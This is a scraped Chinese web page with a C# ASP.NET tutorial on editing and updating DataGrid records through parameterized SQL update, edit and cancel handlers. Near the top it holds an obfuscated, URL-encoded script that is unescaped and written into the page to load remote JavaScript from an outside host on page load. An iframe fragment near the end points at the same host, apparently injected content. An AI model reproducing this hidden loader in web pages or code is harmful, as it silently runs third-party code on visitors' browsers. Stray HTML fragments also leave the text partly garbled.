datagrid记录的编辑与更新

&nbs

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

datagrid记录的编辑与更新

private void dgProduct_UpdateCommand(object source,
System.Web.UI.WebControls.DataGridCommandEventArgs e)
        {
           string strConn = System.Configuration.ConfigurationSettings.AppSettings          
["ConnectionString"];           
            SqlConnection conn = new SqlConnection(strConn);
            conn.Open();
            string strSQL = "update products set
productName=@productName
where            
productID=@productID
";
            SqlCommand command = new SqlCommand(strSQL,conn);
            command.Parameters.Add("@productName",SqlDbType.NVarChar,40);
            command.Parameters["@productName"].Value = ((TextBox)(e.Item.Cells[1].Controls  
         [0])).Text.Trim();
            //command.Parameters.Add("@unitPrice",SqlDbType.Int);
            //command.Parameters["@unitPrice"].Value = Convert.ToInt32(((TextBox)           
            //(e.Item.Cells[2].Controls[0])).Text.Trim());
            command.Parameters.Add("@productID",SqlDbType.Int);
            command.Parameters["@productID"].Value = dgProduct.DataKeys[e.Item.ItemIndex];
            command.ExecuteNonQuery();
            conn.Close();
           dgProduct.EditItemIndex = -1;
            BindDataGrid();
        }  
 
 private void dgProduct_EditCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e) 
    {
            dgProduct.EditItemIndex = e.Item.ItemIndex;
           BindDataGrid(); 
     }
        //用户单击取消按纽时事件处理
private void dgProduct_CancelCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
        {
            dgProduct.EditItemIndex = -1;
 
            BindDataGrid();
 
        }
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
p;